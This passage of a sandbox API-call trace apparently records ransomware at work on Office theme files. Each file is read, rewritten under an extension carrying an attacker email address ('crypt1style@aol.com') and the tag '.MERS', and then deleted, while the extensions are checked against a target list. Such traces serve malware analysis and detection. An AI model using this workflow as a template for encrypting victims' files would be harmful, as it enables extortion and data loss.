liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.393] GetLastError () returned 0x0 [0268.393] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0268.486] WriteFile (in: hFile=0x388, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0268.487] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0268.487] WriteFile (in: hFile=0x388, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xea, lpOverlapped=0x0) returned 1 [0268.487] SetEndOfFile (hFile=0x388) returned 1 [0268.497] CloseHandle (hObject=0x388) returned 1 [0268.497] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.497] SetEndOfFile (hFile=0x284) returned 1 [0268.523] CloseHandle (hObject=0x284) returned 1 [0268.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0268.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.523] lstrlenW (lpString=".doc") returned 4 [0268.523] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.523] lstrlenW (lpString=".docx") returned 5 [0268.523] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.523] lstrlenW (lpString=".pdf") returned 4 [0268.523] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.523] lstrlenW (lpString=".xls") returned 4 [0268.523] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".xlsx") returned 5 [0268.524] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.524] lstrlenW (lpString=".ppt") returned 4 [0268.524] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".zip") returned 4 [0268.524] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".rar") returned 4 [0268.524] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".bz2") returned 4 [0268.524] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".7z") returned 3 [0268.524] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".dbf") returned 4 [0268.524] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".1cd") returned 4 [0268.524] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".jpg") returned 4 [0268.524] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".doc") returned 4 [0268.524] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".docx") returned 5 [0268.524] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.524] lstrlenW (lpString=".pdf") returned 4 [0268.524] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".xls") returned 4 [0268.524] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString=".xlsx") returned 5 [0268.524] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.524] lstrlenW (lpString=".ppt") returned 4 [0268.524] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.524] lstrlenW (lpString=".zip") returned 4 [0268.525] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.525] lstrlenW (lpString=".rar") returned 4 [0268.525] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.525] lstrlenW (lpString=".bz2") returned 4 [0268.525] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.525] lstrlenW (lpString=".7z") returned 3 [0268.525] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.525] lstrlenW (lpString=".dbf") returned 4 [0268.525] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.525] lstrlenW (lpString=".1cd") returned 4 [0268.525] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0268.525] lstrlenW (lpString=".jpg") returned 4 [0268.525] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.525] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.525] lstrlenW (lpString="Aspect.eftx") returned 11 [0268.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.526] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=22554) returned 1 [0268.526] CloseHandle (hObject=0x284) returned 1 [0268.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0268.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.530] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.530] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0268.531] GetLastError () returned 0x0 [0268.531] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x581a, lpOverlapped=0x0) returned 1 [0268.633] WriteFile (in: hFile=0x3e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x5820, lpOverlapped=0x0) returned 1 [0268.634] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0268.634] WriteFile (in: hFile=0x3e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xea, lpOverlapped=0x0) returned 1 [0268.634] SetEndOfFile (hFile=0x3e4) returned 1 [0268.635] CloseHandle (hObject=0x3e4) returned 1 [0268.635] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.635] SetEndOfFile (hFile=0x3a8) returned 1 [0268.637] CloseHandle (hObject=0x3a8) returned 1 [0268.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0268.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.832] lstrlenW (lpString=".doc") returned 4 [0268.832] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.832] lstrlenW (lpString=".docx") returned 5 [0268.832] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.832] lstrlenW (lpString=".pdf") returned 4 [0268.832] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.832] lstrlenW (lpString=".xls") returned 4 [0268.832] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.832] lstrlenW (lpString=".xlsx") returned 5 [0268.832] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.832] lstrlenW (lpString=".ppt") returned 4 [0268.832] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.832] lstrlenW (lpString=".zip") returned 4 [0268.833] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".rar") returned 4 [0268.833] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".bz2") returned 4 [0268.833] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".7z") returned 3 [0268.833] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString=".dbf") returned 4 [0268.833] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString=".1cd") returned 4 [0268.833] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString=".jpg") returned 4 [0268.833] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString=".doc") returned 4 [0268.833] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".docx") returned 5 [0268.833] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.833] lstrlenW (lpString=".pdf") returned 4 [0268.833] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".xls") returned 4 [0268.833] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".xlsx") returned 5 [0268.833] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.833] lstrlenW (lpString=".ppt") returned 4 [0268.833] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.833] lstrlenW (lpString=".zip") returned 4 [0268.833] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.833] lstrlenW (lpString=".rar") returned 4 [0268.834] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.834] lstrlenW (lpString=".bz2") returned 4 [0268.834] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.834] lstrlenW (lpString=".7z") returned 3 [0268.834] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.834] lstrlenW (lpString=".dbf") returned 4 [0268.834] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.834] lstrlenW (lpString=".1cd") returned 4 [0268.834] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0268.834] lstrlenW (lpString=".jpg") returned 4 [0268.834] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.834] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.834] lstrlenW (lpString="Clarity.eftx") returned 12 [0268.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.908] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=32818) returned 1 [0268.908] CloseHandle (hObject=0x3f8) returned 1 [0268.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0268.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.909] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.909] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0268.909] GetLastError () returned 0x0 [0268.909] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x8032, lpOverlapped=0x0) returned 1 [0268.980] WriteFile (in: hFile=0x3fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x8040, lpOverlapped=0x0) returned 1 [0268.981] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0268.981] WriteFile (in: hFile=0x3fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.981] SetEndOfFile (hFile=0x3fc) returned 1 [0268.981] CloseHandle (hObject=0x3fc) returned 1 [0268.981] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.981] SetEndOfFile (hFile=0x3f8) returned 1 [0268.983] CloseHandle (hObject=0x3f8) returned 1 [0268.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0268.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.984] lstrlenW (lpString=".doc") returned 4 [0268.984] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".docx") returned 5 [0268.984] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.984] lstrlenW (lpString=".pdf") returned 4 [0268.984] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".xls") returned 4 [0268.984] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".xlsx") returned 5 [0268.984] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.984] lstrlenW (lpString=".ppt") returned 4 [0268.984] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.984] lstrlenW (lpString=".zip") returned 4 [0268.984] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".rar") returned 4 [0268.984] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".bz2") returned 4 [0268.984] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString=".7z") returned 3 [0268.984] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.984] lstrlenW (lpString=".dbf") returned 4 [0268.984] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".1cd") returned 4 [0268.985] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".jpg") returned 4 [0268.985] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".doc") returned 4 [0268.985] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".docx") returned 5 [0268.985] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.985] lstrlenW (lpString=".pdf") returned 4 [0268.985] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".xls") returned 4 [0268.985] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".xlsx") returned 5 [0268.985] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.985] lstrlenW (lpString=".ppt") returned 4 [0268.985] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".zip") returned 4 [0268.985] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".rar") returned 4 [0268.985] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".bz2") returned 4 [0268.985] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString=".7z") returned 3 [0268.985] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".dbf") returned 4 [0268.985] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.985] lstrlenW (lpString=".1cd") returned 4 [0268.985] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0268.986] lstrlenW (lpString=".jpg") returned 4 [0268.986] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.986] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.986] lstrlenW (lpString="Concourse.eftx") returned 14 [0268.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.987] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=22417) returned 1 [0268.987] CloseHandle (hObject=0x3f8) returned 1 [0268.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0268.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0268.987] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.987] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0268.987] GetLastError () returned 0x0 [0268.987] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, 